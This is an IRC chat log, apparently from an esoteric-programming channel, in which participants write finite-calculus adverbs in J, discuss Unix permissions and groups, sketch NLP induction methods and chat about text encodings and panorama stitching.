01:07:52 <augur> a clique is a complete subgraph
01:07:57 <alise_> foo =: adverb define
01:07:57 <alise_> y-x
01:07:57 <alise_> )
01:07:58 <alise_> fails
01:08:06 <augur> that is, a subgraph where each vertex is connected to each other vertex
01:08:27 <oklopol> ywah
01:08:29 <oklopol> yeah
01:08:30 <augur> a maximAL (with an "al", not maximum "um")
01:08:32 <alise_> ok, it's the multiple argument thing
01:08:42 <oklopol> but no i didn't remember that right away
01:08:53 <augur> clique is a clique that cannot be enlarged by adding any other vertex
01:09:00 <alise_> foo =: adverb define
01:09:00 <alise_> dyad : 'y-x'
01:09:01 <alise_> )
01:09:01 <alise_> 1 ] foo 2
01:09:01 <alise_> 1
01:09:08 <augur> so a clique not copletely contained in any other clique
01:09:39 <augur> the _node-wise_ maximal cliques of a node are the largest cliques that the node appears in
01:09:46 <alise_> |value error: u
01:09:47 <alise_> | +/ u x+i.y-x
01:09:47 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
01:09:47 <alise_> lollll
01:09:57 <augur> so the maximal cliques-that-contain-that-node
01:11:07 <oklopol> your maximum
01:11:18 <alise_> fuck =: adverb define
01:11:19 <alise_> x
01:11:20 <alise_> )
01:11:20 <alise_> ] fuck
01:11:20 <alise_> +-+
01:11:20 <alise_> ]
01:11:20 <alise_> +-+
01:11:33 <alise_> so... we can either have one or the other but not both, cool
01:11:37 <alise_> now how do you define an adverb returning dyad
01:11:42 <alise_> without this hit
01:12:15 <oklopol> have to do a sleep
01:12:15 <alise_> likewise, an adverb may refer to its left argument (using u) as well as to the arguments of the resulting verb (x and y).
01:12:16 <alise_> fugfuck
01:12:17 <oklopol> ->
01:12:34 <fax> fughafpb
01:12:36 <alise_> AHAAAA
01:12:37 <alise_> i think I have it
01:12:39 <fax> AHAHAH!!!!
01:13:04 <alise_> 3 (] integ) 4
01:13:05 <alise_> 3
01:13:06 <alise_> you know what the fix was
01:13:10 <alise_> integ =: adverb define
01:13:10 <alise_> :
01:13:10 <alise_> if. (y-x)>0 do. +/u x+i.y-x else. 0 end.
01:13:10 <alise_> )
01:13:12 <alise_> one single fucking colon
01:13:15 <alise_> "dyadic case" separator
01:13:20 <alise_> ok gimme an example
01:14:58 <oklopol> ah
01:15:12 <oklopol> i actually should've remembered that
01:15:13 <oklopol> ->
01:15:28 <alise_> deriv =: adverb : '(u y+1)-u y'
01:15:29 <alise_> integ =: adverb define
01:15:29 <alise_> :
01:15:29 <alise_> if. (y-x)>0 do. +/u x+i.y-x else. 0 end.
01:15:29 <alise_> )
01:15:30 <alise_> finite calculus in J
01:16:39 <fax> yay
01:16:40 <alise_> fax: now gimme a test case
01:16:50 <fax> alise you must know triangular numbers
01:16:53 <alise_> something semicomplicated, preferably involving both deriv and integ (in whatever syntax you want)
01:17:00 <fax> integrate the identity function to get them
01:17:11 <fax> integrate it again to get 3D pyramid numbers
01:18:53 <alise_> 0]deriv integ"0 i.10
01:18:53 <alise_> 0 1 2 3 4 5 6 7 8 9
01:18:55 <alise_> Sucks eggs!
01:20:48 <alise_> do you actually need the x param?
01:20:57 <fax> it doesn't wokr?
01:20:59 <alise_> you can do that from outside integ no?
01:21:02 <alise_> fax: it does
01:21:07 <fax> what did you integrate?
01:21:13 <fax> "0 is the identity?
01:21:14 <alise_> pronounce(sucks eggs) ~ pronounce(success)
01:21:21 <alise_> ] is identity
01:21:23 <alise_> it's (] deriv) integ
01:21:24 <fax> oh
01:21:27 <alise_> "0 is just so that I can map it over i.10
01:21:30 <fax> oh!!!
01:21:35 <alise_> (because it's dyadic you need to fuck about with rank)
01:21:45 <alise_> (for monadic verbs it maps automatically)
01:21:55 <alise_> ("0 says basically... this thing takes atoms, not lists)
01:22:53 <fax> how do I integrate id?
01:23:00 <alise_> ]integ
01:23:08 <alise_> it's (f adverb), always
01:23:13 <alise_> x f adverb y also works
01:23:29 <fax> 1 (]integ) 6
01:23:34 <alise_> 1 ]integ 6 even.
01:23:36 <fax> it works ! but how do I map over i.1
01:23:40 <fax> i.10
01:23:45 <alise_> 1 ]integ 6"0 i.10
01:24:08 <fax> 1 ]integ "0 i.10
01:24:09 <fax> 0 0 1 3 6 10 15 21 28 36
01:24:10 <fax> yes!
01:24:43 <alise_> right
01:24:52 <oerjan> now try integrating 2, add constant 1, then integrate again
01:24:58 <alise_> integrating... 2?
01:25:02 <alise_> 2 is not a function
01:25:02 <oerjan> constant 2
01:25:24 <alise_> 2: is constant 2
01:25:26 <fax> alise this is so cool
01:25:27 <alise_> 1: is constant 1
01:25:30 <alise_> what do you mean adding constant 1, add howso
01:25:38 <alise_> fax: j or finite calculus in general? :)
01:25:43 <fax> everything!!
01:25:48 <alise_> j's array handling is awesome, and finite calculus is neat
01:25:52 <alise_> very simple definitions
01:25:56 <oerjan> alise_: const n = \x -> n
01:25:59 <alise_> yes
01:26:00 <fax> I need to start using J again, I've totally forgotton it
01:26:03 <alise_> "add" constant 1
01:26:07 <alise_> how do you "add" two functions
01:26:13 <fax> f+g = \x -> f x + g x
01:26:13 <alise_> \f g x -> f x + g x?
01:26:19 <oerjan> yes
01:27:33 <alise_> so basically
01:27:33 <alise_> foo =: dyad : '(1 (2:integ) y)+1'
01:27:36 <oerjan> i would have thought J would have that as an easy operation
01:27:39 <fax> I have to go
01:27:40 <fax> bye
01:27:40 <alise_> probably does
01:27:42 <alise_> but I don't know it
01:27:45 <oerjan> isn't that what forks do?
01:27:52 <alise_> forks are
01:28:04 <alise_> x v y -> (x arg) v (y arg)
01:28:07 <alise_> so I guess
01:28:08 <alise_> but anyway
01:28:12 <alise_> foo =: dyad : '(1 (2:integ) y)+1'
01:28:14 <alise_> 1 (foo integ) 1
01:28:14 <alise_> 0
01:28:14 <alise_> 1 (foo integ) 2
01:28:14 <alise_> |domain error: foo
01:28:14 <alise_> | +/ u x+i.y-x
01:28:15 <alise_> :/
01:28:20 <fax> yeah stuff like forks I struggled to learn
01:28:23 <alise_> stoopid
01:28:27 <alise_> i need monad duh
01:28:29 <alise_> fax: it's easy
01:28:33 <alise_> if you apply an operator to two functions
01:28:37 <oerjan> mind you fork is the only J think i know :D
01:28:38 <alise_> then you get
01:28:43 <alise_> \x. (f x) op (g x)
01:28:47 <alise_> from f op g
01:29:02 <oerjan> alise_: mind you it's also ((1+).) in haskell
01:29:13 <alise_> oerjan: ok this is just giving me constant 1 :)
01:29:35 <alise_> 2 (foo integ) is constant 3
01:29:54 <alise_> same for all n>1
01:30:01 <oerjan> can't you integrate the function \x -> 2 ?
01:30:04 <alise_> yes
01:30:14 <alise_> 1 (2:integ)"0 i.10
01:30:15 <alise_> 0 0 2 2 2 2 2 2 2 2
01:30:21 <alise_> gives, uh, constant 2 :P
01:30:22 <fax> that's nto correct is it
01:30:24 <oerjan> should be 0 2 4 6 ...
01:30:25 <alise_> more or less
01:30:31 <fax> more or less XD
01:30:47 <alise_> fax: well if it is not then yours is wrong also
01:30:52 <alise_> oh
01:30:54 <alise_> i needed 2:"0
01:31:00 <alise_> 1 ((2:"0)integ)"0 i.10
01:31:01 <alise_> 0 0 2 4 6 8 10 12 14 16
01:31:18 <alise_> foo =: monad : '(1 ((2:"0)integ) y)+1'
01:31:19 <alise_> 1 (foo integ)"0 i.10
01:31:19 <alise_> 0 0 1 1 1 1 1 1 1 1
01:31:21 <alise_> altogether less interesting.
01:32:17 <oerjan> hm that's not quite right there shouldn't be two 0's first?
01:32:31 <alise_> ah got it working
01:32:41 <alise_> 1 ((1&((2:"0)integ))"0 + 1:)"0 i.10
01:32:43 <alise_> 1 1 3 5 7 9 11 13 15 17
01:33:04 <oerjan> only 1 of the 1's should be there
01:33:16 <oerjan> otherwise the next step would fail, or?
01:33:17 <alise_> i. 10 = 0, 1, 2, ...,
01:33:17 <alise_> 9
01:33:31 <fax> I like J
01:33:38 <alise_> j likes you
01:34:39 -!- Asztal has quit (Ping timeout: 265 seconds).
01:35:03 <alise_> It would be nice if J had the facilities to do symbolic stuff too.
01:35:05 <oerjan> alise_: now integrate one more time
01:35:08 <alise_> Plus types; then we'd have the perfect language.
01:35:15 <alise_> oerjan: as in ((f integ) integ), presumably
01:35:17 <fax> what happens if you integrate again??
01:35:27 <oerjan> alise_: after adding the 1
01:35:32 <alise_> 1 (((1&((2:"0)integ))"0 + 1:)"0 integ)"0 i.10
01:35:33 <alise_> 0 0 1 4 9 16 25 36 49 64
01:35:35 <alise_> the world asplodes
01:35:38 <oerjan> success!
01:35:39 <fax> theat's squares
01:35:40 <fax> :D
01:35:56 <alise_> esolang idea: just integration and constant functions
01:37:03 <alise_> :( deriv fails on an integ'd func
01:37:14 <fax> realy?? why
01:38:31 -!- fax has quit (Quit: Lost terminal).
01:38:35 <alise_> (1&]integ)"0 deriv 1
01:38:35 <alise_> |domain error
01:38:35 <alise_> | ( u y+1)-u y
01:40:32 <alise_> oerjan: what number did you say basic arithmetic fails at? 10^40?
01:44:00 <oerjan> possibly
01:44:10 <alise_> were you serious? :)
01:44:26 <oerjan> hardly
01:44:43 -!- coppro has joined.
01:44:44 <oerjan> well it _could_ be
01:45:02 <oerjan> the number was of course pulled out of my ass
01:45:21 <oerjan> apart from being on the order of something cosmological
01:45:23 <alise_> oerjan: ok do you believe there is some number n where arithmetic breaks down
01:45:34 <alise_> in /theory/, not on computing machines
01:46:03 <oerjan> i do not positively believe there is such a number no
01:46:20 <oerjan> but i would not positively rule it entirely out either
01:46:53 <alise_> prob=?
01:47:07 <oerjan> no
01:47:26 <oerjan> you've already got _one_ number out of my ass :D
01:47:42 <alise_> i was asking for a number.
01:47:42 <alise_> or is it too small to exist :)
01:47:50 <oerjan> and if there is one thing i _don't_ believe in, it's making up answers when you don't know things
01:48:18 <alise_> ok then, prob>0.5?
01:48:31 <alise_> i mean this is a question about your belief in its probability
01:48:51 <oerjan> i do not believe my belief is quantifiable
01:49:53 <alise_> prob>0.5 is just a nerdy way of saying is it more likely than not in your opinion
01:50:04 <alise_> i.e. do you err on the side of there is such a number - or not?
01:50:32 <oerjan> mu
01:51:18 <alise_> you are one awkward bastard :)
01:51:40 <oerjan> it is a hypothetical possibility, for which i have absolutely no evidence one way or the other. how the heck should i assign a number to it?
01:51:57 <alise_> synchronicity, a hypothetical possibility with no evidence one way or the other
01:52:39 <oerjan> i just _knew_ you'd say something like that
01:52:53 <oerjan> er...
01:52:56 <alise_> i am a predictable guy.
01:53:01 <alise_> but... i have a point
01:54:16 <oerjan> my evidence for synchronicity is immeasurably stronger than my evidence that there exists an inconsistent number. if you want to conclude from that that your asked prob<0.5 then be my guest.
01:54:37 <alise_> but evidence for synchronicity isn't really, it's not actual evidence implying synchronicity
01:54:47 <alise_> because your brain is designed to find causal relations
01:55:01 <alise_> that doesn't mean there isn't any such thing and it's a valid belief...
01:55:07 <alise_> but there is no actual quantifiable evidence for it
01:56:38 <Sgeo> Major deadline coming up, and I think I'm going to switch to the pre-rewrite
01:56:49 <Sgeo> Because a lot of stuff that still needs to be done in the rewrite was done here
01:57:05 <alise_> Then why did you rewrite?
01:57:11 <Sgeo> I did not. The other guy did.
01:57:16 <Sgeo> I had no involvement.
01:57:19 <alise_> also - lemme guess, there's no actual DEADLINE
01:57:26 <alise_> because it's just a bunch of kids thinking they're professional
01:57:31 <alise_> so they dreamt one up
01:57:40 <alise_> marketing! pr! promotions! firing! Enterprise-quality code!
01:57:59 <Sgeo> Well, AWI won't renew the guy in charge's citizenship if the deadline is not met
01:58:03 <Sgeo> So yes, there is a deadline
01:58:14 <alise_> Ooh, horrific.
02:04:58 <alise_> Bye, everyone, until Friday. If anyone wants to talk to me... do it now.
02:05:11 <oerjan> bye
02:05:44 <alise_> I have to be up in... less than six and a half hours.
02:05:56 <Sgeo> Bye alise_. Wish your situation was resolved sooner :/
02:06:02 <alise_> Ditto.
02:06:05 <alise_> Thanks.
02:06:07 <alise_> Toodles!
02:06:09 -!- alise_ has quit.
02:28:49 -!- MizardX has quit (Ping timeout: 260 seconds).
02:35:16 -!- coppro has quit (Ping timeout: 240 seconds).
02:37:24 -!- coppro has joined.
02:49:03 <Gregor> Wowsers!
02:49:13 <Gregor> Apparently when I post a plea for people to munge comics on lonelydino.com , they actually do!
02:52:38 <pikhq> Whoa.
03:10:24 -!- Oranjer has left (?).
03:20:40 <Sgeo> munge?
03:46:23 -!- Oranjer has joined.
04:28:42 -!- mibygl has joined.
04:28:51 <mibygl> So, they say that in Unix, everything is a file.
04:29:19 <mibygl> So, in Unix, what isn't a file? If a process doesn't have access to any files, what can it do?
04:29:38 <mibygl> Apart from creating files and accessing them. :P
04:30:06 <coppro> mibygl: "Everything is a file" refers to the fact that all methods of communication (pipes, files, sockets, devices, etc.) are all accessed in exactly the same way
04:30:18 <coppro> modern systems go even farther with /proc and /sys
04:31:45 <mibygl> Hmm.
04:32:26 -!- Oranjer has quit (Quit: Leaving.).
04:32:55 <mibygl> "Problem: I can't access any web sites because my Internet connection is down. Solution: use a USB drive to load Apache onto the affected computer and create a web site. It will then be possible to access that web site."
04:33:20 * mibygl coughs.
04:33:33 <mibygl> But anyway.
04:33:44 <oerjan> rright
04:34:56 <Gregor> Also, sockets are only files on fairly esoteric systems, e.g. Plan 9 and Hurd.
04:45:02 * mibygl ponders permissions.
04:46:08 <mibygl> They're pretty simple. Read, write, execute, setuid, setgid, sticky... is that all the permission bits?
04:47:43 -!- oerjan has quit (Quit: Good night).
04:48:57 <Gregor> Well, with the caveat that there are in fact three read bits, three write bits and three execute bits, yes.
04:49:16 <mibygl> Right.
04:57:21 <mibygl> I wonder how groups work.
04:59:23 <Gregor> Poorly.
04:59:43 <mibygl> Does each process have precisely one real and effective group ID? What do a user's other groups do?
05:00:17 <Gregor> Yes. Other groups allow the process access to files etc based on group permissions, but written files will be of the effective group.
05:00:48 -!- mibygl has quit (Quit: Page closed).
05:00:53 <Gregor> ... ohhhhkidokie.
05:00:58 -!- mibygl has joined.
05:01:10 <Gregor> <mibygl> Does each process have precisely one real and effective group ID? What do a user's other groups do?
05:01:10 <Gregor> <Gregor> Yes. Other groups allow the process access to files etc based on group permissions, but written files will be of the effective group.
05:01:42 <mibygl> So does a process have the group permissions of its own group plus all the groups its user is in?
05:01:51 <Gregor> Yes.
05:01:58 <Gregor> The assumption is that usually those overlap, but they don't have to.
05:02:13 <Gregor> (Also, I believe the details of that are not particularly solid, they vary from system to system)
05:02:31 <Gregor> ("system" meaning "operating system" in this case)
05:03:35 * mibygl nods.
05:03:44 <mibygl> Seems straightforward enough.
05:04:25 <Gregor> Then of course some unixen implement ACLs, and that system has complicated interactions with classic permissions.
05:06:30 <mibygl> Fun.
05:07:24 <Gregor> For instance, I'm fairly certain that SELinux implements ACLs (along with a trillion other things), but I have not one clue how they work.]
05:15:02 -!- myndzi\ has joined.
05:18:13 -!- myndzi has quit (Ping timeout: 264 seconds).
05:19:10 <Gregor> In my font, myndzi\'s i\ looks a lot like a lambda :P
05:33:59 -!- adu has joined.
05:37:53 <augur> hey myndzi\ :o
05:37:57 <augur> i havent seen you in a while
05:38:42 <myndzi\> i'm surprised anyone remembers me, i wasn't exactly active i guess :P
05:38:45 -!- myndzi\ has changed nick to myndzi.
05:39:05 <myndzi> i think i didn't have the channel on autojoin or something
05:43:25 <augur> but you do now! :D
05:44:02 <myndzi> er.. one moment... yes, sure, yeah
05:44:03 <myndzi> ;)
05:44:45 <augur> good boy
05:45:53 <augur> man
05:46:16 <augur> i can do part-of-speech induction on a 5000 sentence corpus in about, oh, 3 seconds
05:47:22 <myndzi> that's cool
05:47:29 <myndzi> i always kinda wanted to learn about natural language processing
05:47:36 <augur> i dont. :P
05:47:42 <augur> its yawnfully boring
05:47:43 <myndzi> but everything i tried to look up on the internet was over my head
05:47:46 <augur> but whatever
05:47:51 <augur> oh!
05:47:54 <augur> want an introduction
05:47:55 <augur> ?
05:47:59 <myndzi> sure
05:48:26 <augur> step 1: generate a random model of the corpus
05:48:50 <augur> step 2: calculate the statistics based off of that model and compare it to the new data
05:48:55 <augur> step 3: update your model
05:49:00 <augur> step 4: goto step 2
05:49:02 <myndzi> ..what
05:49:03 <myndzi> :P
05:49:10 <augur> you think im joking
05:49:11 <augur> im not
05:49:23 <myndzi> no, i just don't know what statistics i'm calculating or what the model means
05:49:24 <augur> so much of NLP is basically that
05:49:26 <myndzi> hehe
05:49:31 <augur> any statistics you want
05:49:49 <augur> usually its just basic probabilities
05:49:51 <myndzi> so you're saying basically pick a random part of speech for every word, and then <do thing> and correct it repeatedly?
05:50:11 <augur> so like, if some new sentence comes in, you update your predictions by just like, throwing the sentence into the model
05:50:14 <augur> its really stupid
05:50:20 <myndzi> that's rather disappointing actually
05:50:33 <myndzi> i thought that there would be a way to actually parse english grammar or something
05:50:40 <augur> when im done eating ill give you a more accurate picture
05:51:22 <myndzi> mmk
05:51:29 <myndzi> i guess that's why we have lojban eh?
05:51:30 <myndzi> :)
05:51:36 <augur> no.
05:54:01 <myndzi> sure! one of the reasons lojban was thunk up was to have a language that could be unambiguously machine-processed
05:54:07 <augur> that doesnt mean trivially learned.
05:54:15 <myndzi> oh, certainly not
05:54:21 <myndzi> i don't propose anybody learns lojban lol
05:54:44 <myndzi> it's an interesting idea, but i think i read somewhere that the words were basically randomly generated
05:54:50 <myndzi> there's no character to that
05:55:28 <myndzi> i wonder if there are many widely used languages that are much easier on NLP than English
05:55:35 <myndzi> i wouldn't be surprised at all
05:55:40 <myndzi> either way really, for different reasons
06:09:10 <augur> ok im done eating
06:09:20 <augur> so here is the current algo we're doing in class
06:09:58 <augur> first you assume that your input data is a probabilistic markovian process
06:10:05 <augur> this is false, but just pretend, because we're NLP people
06:10:52 <myndzi> mmk
06:10:56 <augur> so build a random fully-connected probabilistic finite state machine with state-wise write probabilities
06:11:10 <augur> that is, transitions are distinct from symbol writes
06:11:34 <augur> when you transition to a state, you write a symbol associated with that state
06:11:52 <augur> as opposed to writing a symbol associated with a particular transition.
06:12:14 <myndzi> yep, now i know *exactly* what to read about on wikipedia! :P
06:12:19 <myndzi> i'm sorry, i probably don't really belong here lol
06:12:25 <myndzi> actually i never went to college D:
06:12:26 <augur> wait, it gets BETTER
06:13:22 <augur> when a new sentences comes in
06:13:34 -!- coppro has quit (Read error: Connection reset by peer).
06:14:18 <augur> calculate the expected number of times that sentence should show up in a corpus of the size you have
06:14:36 <augur> (or when a new symbol comes in. its all the same.)
06:15:25 <myndzi> so the states in this case would be nouns, verbs, etc.?
06:15:32 <augur> then, using that re-normalize your probabilities, and this is your new model
06:15:41 <augur> the states would be whatever.
06:15:52 <myndzi> specifically for NLP
06:16:00 <augur> the number of states you need varies
06:17:05 <myndzi> i think i about have the gist of it, but what does this have to do with part of speech decisions?
06:17:29 <myndzi> oh, i guess they are learned from the arrangement of symbols in your corpus
06:17:37 <myndzi> and not explicitly defined
06:17:40 <augur> oh, the part of speech induction thing is a different task
06:17:53 <augur> but you could probably apply a similar thing to it
06:17:57 <augur> thats not how im approaching it, tho
06:18:00 <myndzi> ah
06:18:15 <myndzi> i was trying to read your description in the context of tagging parts of speech hehe
06:18:26 <myndzi> i probably used the term NLP wrong then
06:18:27 <augur> oh no, dont do that
06:18:40 <augur> what i described was sequence recognition
06:18:43 <augur> sentences, usually
06:18:50 <augur> is it a sentence or not
06:18:56 <augur> how likely is it to be produced
06:18:56 <augur> etc
06:18:57 <myndzi> i see
06:19:12 <augur> the POS induction im doing is not at all like that
06:19:28 <myndzi> POS induction is the part that sounded interesting
06:19:51 <augur> the whole induction probably is interesting
06:20:00 <augur> and thats basically what the sequence recognition thing is
06:20:05 <augur> one kind of induction problem
06:20:13 <augur> POS induction is just a special case
06:20:40 <myndzi> because words have a specific subset of parts of speech they can be?
06:20:40 <augur> the two become obviously related when you take it into the second dimension and start doing actual structure induction as opposed to markovian inductions
06:20:58 <augur> no just because words are a degenerate structure
06:21:35 <myndzi> your mom's a degenerate structure >:(
06:21:43 <augur> so basically, if you have a good algorithm for discovering that some sequences s1 = w1 w2 ... and s2 = x1 x2 ...
06:21:45 <augur> etc
06:21:49 <augur> are really the same thing
06:22:01 <augur> e.g. that "the dog" and "my cat" are basically the same kind of phrase, namely a noun phrase
06:22:11 <myndzi> yeah
06:22:17 <augur> then you can do that for the degenerate case where the "phrase" consists of a single symbol
06:22:27 <augur> which is just POS induction
06:22:44 <augur> im not sure if the converse is true
06:23:03 <augur> ie if you can do POS induction, then you can do structure induction
06:23:06 <augur> its probably not true.
06:23:32 <myndzi> well this is surely more than i knew about the subject before, but it won't sink in immediately
06:23:35 <myndzi> y u gotta use big words
06:23:59 <augur> dats hao i rol
06:25:02 <myndzi> my brother has a shirt with that phrase and a toilet paper roll
06:25:09 <myndzi> ..but the toilet paper is on backwards! >:(
06:25:28 <myndzi> lol @ wikipedia page on markov chain
06:25:29 <myndzi> This article may be too technical for most readers to understand. Please improve this article to make it accessible to non-experts, without removing the technical details. (July 2009)
06:25:32 <myndzi> amen!
06:26:12 <augur> indeed
06:36:32 -!- mibygl has quit (Ping timeout: 252 seconds).
07:01:03 <Gregor> OK, http://xkcd.com/714/ is pretty good :P
07:03:38 <myndzi> i'm not familiar with the source material
07:03:43 <myndzi> but presumably, it doesn't contain people fucking
07:09:02 <Gregor> Presumably.
07:28:52 <augur> hahaha
07:28:58 <augur> longing looks across the bridge of galactica
07:29:04 <augur> obviously her porn is guy on guy 8D
07:35:54 -!- tombom has joined.
07:36:34 <myndzi> what about, like, kara...
07:36:35 <myndzi> oh wait...
07:36:46 <myndzi> (also i don't remember who actually belongs on the bridge)
07:36:56 <myndzi> duvalla(sp?) at least, ya?
07:48:25 <augur> dualla
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
09:57:04 -!- clog has joined.
09:57:04 -!- clog has joined.
09:57:32 -!- MizardX has quit (Ping timeout: 268 seconds).
10:26:59 -!- lereah_ has joined.
10:42:00 -!- sebbu2 has joined.
10:42:33 -!- sebbu has quit (Ping timeout: 245 seconds).
10:42:33 -!- sebbu2 has changed nick to sebbu.
11:32:32 <cheater> why is there no esolang for PONIES?
11:33:24 <lereah_> Ponies are pig disgusting
11:59:29 -!- ais523 has joined.
12:02:38 -!- kwertii has quit (Quit: bye).
12:09:29 -!- ais523 has quit.
12:09:49 -!- ais523 has joined.
13:10:01 -!- ais523 has quit (Remote host closed the connection).
13:26:22 -!- augur has quit (Ping timeout: 276 seconds).
13:27:01 -!- augur has joined.
13:35:48 <cheater> NOOOOOooooooooooooooooooooo
13:50:55 -!- augur has quit (Ping timeout: 258 seconds).
13:51:28 -!- augur has joined.
14:01:58 -!- augur has quit (Ping timeout: 264 seconds).
14:02:33 -!- augur has joined.
14:06:53 -!- ais523 has joined.
14:07:34 -!- oerjan has joined.
14:09:38 -!- FireFly has joined.
15:02:04 -!- werdan7 has quit (Ping timeout: 619 seconds).
15:08:50 -!- coppro has joined.
15:10:09 -!- werdan7 has joined.
15:15:01 -!- Ilari has quit (Ping timeout: 260 seconds).
15:16:15 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
15:36:49 <augur> http://www.youtube.com/watch?v=Jcn1rIliuBg
15:36:52 <augur> relevant.
15:43:09 -!- MizardX has joined.
15:51:56 -!- hiato has joined.
15:59:12 -!- oerjan has quit (Quit: Sick transit Gloria Monday).
16:24:42 -!- BeholdMyGlory has joined.
16:32:19 -!- kar8nga has joined.
16:37:20 -!- charlls has joined.
16:44:15 -!- sshc has quit (Ping timeout: 252 seconds).
17:02:44 -!- fax has joined.
17:06:04 -!- lament has quit (Ping timeout: 276 seconds).
17:08:17 -!- lament has joined.
17:26:36 -!- hiato has quit (Quit: underflow).
17:35:42 -!- MizardX- has joined.
17:35:44 -!- MizardX- has quit (Remote host closed the connection).
17:36:07 -!- MizardX- has joined.
17:38:12 -!- MizardX has quit (Ping timeout: 268 seconds).
17:38:35 -!- MizardX- has changed nick to MizardX.
17:58:20 * pikhq continues to think non-Unicode encodings should die
17:58:36 * fax thinks unicode should die
17:58:51 -!- sebbu2 has joined.
17:58:51 <pikhq> fax: Why?
17:59:04 <fax> if binary was good enough for Jesus Christ it's sure as hell good enough for me
17:59:08 <pikhq> Because you think it's simpler for there to exist several hundred character sets?
17:59:11 <pikhq> Hahahah.
17:59:18 <fax> seriously though unicode sucks
17:59:37 -!- sebbu has quit (Ping timeout: 264 seconds).
17:59:37 -!- sebbu2 has changed nick to sebbu.
17:59:45 <pikhq> The alternative is several hundred character sets.
18:00:12 <fax> I mean the idea of having lots of symbols is great, and stuff like ligatures and arabic writing is wonderful
18:00:29 <fax> but things like superscript digits and summation signs just ruin it
18:00:51 <fax> what we really need is something that does text AND something that does typesetting
18:01:14 <fax> (typesetting beyond the very basic, put each symbol after (or before if it's a RTL one) the previous)
18:01:47 <pikhq> Those are there because other character sets had it, and Unicode is meant to have the following property: fromUnicode . toUnicode == id
18:01:50 <fax> but what we have know is close enough to good that nobody solves the problem of typesetting (I mean look at IRC, HTML, and so on)
18:02:30 <fax> okay so I guess having actually written this out, it's not unicode I am against exactly
18:06:30 <Gregor> ½
18:06:58 <lament> typesetting is crucial to proper functioning of the modern society
18:07:42 <lament> it's incredibly important to get all the ligatures and kerning correct
18:07:51 <lament> and WASH YOUR HANDS afterwards
18:07:56 <fax> :)
18:08:58 <pikhq> EUC-JP, ShiftJIS, and JIS in particular should die.
18:09:23 <pikhq> (there are four -- *FOUR* encodings in common use in Japanese. All incompatible.)
18:11:37 <lament> maybe the language itself should be abolished.
18:11:42 <pikhq> (EUC-JP is used because it doesn't break POSIX systems' minds, ShiftJIS is used because Windows used it, and JIS is 7-bit safe.)
18:11:51 <Gregor> Along with all other non-English languages.
18:12:03 <pikhq> Gregor: But first, let's abolish English.
18:12:43 <ais523> idea suggested in another channel: use /b/ as an entropy source for /dev/random
18:12:47 <ais523> good idea, or bad idea?
18:12:56 <Gregor> EXCELLENT idea.
18:13:03 <pikhq> ais523: Insufficiently random.
18:13:13 <ais523> pikhq: for entropy sources, it doesn't matter
18:13:19 <ais523> pure zeros does nothing, anything else makes it more random
18:13:27 <pikhq> Mmm.
18:13:34 <pikhq> Well then. Good idea.
18:14:34 <fax> I guess you could make a game that uses /b/ as input
18:14:55 <fax> kind of like tetris peices, except memes
18:16:12 -!- tombom has joined.
18:23:34 -!- lereah_ has quit (Remote host closed the connection).
18:28:46 -!- sshc has joined.
19:04:52 -!- MizardX has quit (Read error: Connection reset by peer).
19:05:55 -!- MizardX has joined.
19:10:03 -!- augur has quit (Ping timeout: 245 seconds).
19:16:36 <AnMaster> fizzie, there?
19:19:25 <fizzie> Well, a bit busy.
19:19:29 <fizzie> But technically speaking yes.
19:19:37 <AnMaster> fizzie, working on hugin thingy
19:19:56 <AnMaster> sadly I have huge parallax, mobile phone camera
19:20:05 <AnMaster> so not sure this will give anything usable
19:21:43 <fizzie> "Usable" is in the eye of the beholder, though.
19:25:11 <AnMaster> fizzie, what about support beams that are off by 1/2 of their width or more?
19:27:04 <fizzie> It depends on what you are going to use it for. That sort of picture can still be usable if you just want to make a generic sort of "this is about what the view was like" statement.
19:27:33 <AnMaster> fizzie, my mobile camera doesn't provide focal length or fov in the exif data btw, which makes me have to guess for something that works
19:28:27 <AnMaster> wow at the rectilinear projection of this...
19:31:50 <fizzie> Mine doesn't write fov into exif either, but you can sometimes find that information elsewhere.
19:32:26 <fizzie> Though I guess the initial guess doesn't have to be very good if you optimizize it anyway.
19:41:30 <AnMaster> fizzie, I need 9 non-vert/horiz lines to even get this to look like something from this world
19:54:21 -!- hiato has joined.
20:11:28 <oklopol> welcome back everybody
20:11:33 <oklopol> especially hiato i guess
20:11:50 -!- kar8nga has quit (Remote host closed the connection).
20:13:21 -!- pikhq has set topic: "Gwandocu (n): Extremely strong evidence, far beyond a reasonable doubt." | module Topic where aliseSighting :: IO Integer | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
20:15:31 <oklopol> good one
20:17:30 <ais523> I like that topic
20:24:31 <AnMaster> fizzie, doing a first stitch atm, if not too bad I will upload it somewhere
20:25:14 <AnMaster> (using enblend due to being unable to get good enough fit for enfuse to be usable at all)
20:27:00 <AnMaster> yeargh
20:29:41 <AnMaster> well, uploading anyway
20:29:44 <AnMaster> it might be interesting
20:30:29 <AnMaster> fizzie, http://omploader.org/vM3VidQ
20:31:28 <AnMaster> (I like that bench, it is always warm XD)
20:32:01 <uorygl> Needless to say...
20:32:08 <AnMaster> uorygl, ?
20:32:20 <uorygl> AnMaster: I said "needless to say". That means I don't need to say it.
20:32:29 <AnMaster> uorygl, don't need to say *what*?
20:32:38 <uorygl> It goes without saying!
20:32:53 <AnMaster> uorygl, I have no idea idea what you are referring to :/
20:34:46 <oklopol> don't say
20:35:22 <fax> hi
20:36:20 -!- kar8nga has joined.
20:38:22 -!- MizardX- has joined.
20:40:19 -!- MizardX has quit (Ping timeout: 258 seconds).
20:40:20 -!- MizardX- has changed nick to MizardX.
20:41:00 <AnMaster> fizzie, so well, what do you think of it?
20:41:32 <fizzie> The window frameworksy aren't any worse than that at-the-work-place mobile-phone shots I did. Is this where?
20:42:27 -!- oerjan has joined.
20:46:15 <oerjan> 10:12:43 <ais523> idea suggested in another channel: use /b/ as an entropy source for /dev/random
20:47:22 <oerjan> coming next: Anonymous carefully manipulates /b/ to hack computer cryptography by messing up /dev/random
20:48:07 <ais523> that's supposed to be impossible
20:48:41 <AnMaster> fizzie, "is this where"?
20:48:53 <oklopol> "where is this"
20:48:57 <fizzie> Yes.
20:49:00 <AnMaster> oh
20:49:05 <AnMaster> Finnish influences?
20:49:10 <hiato> oklopol: 21:08 < oklopol> especially hiato i guess
20:49:13 <AnMaster> fizzie, Örebro Universitet
20:49:13 <hiato> thanks :)
20:49:15 <oklopol> possibly
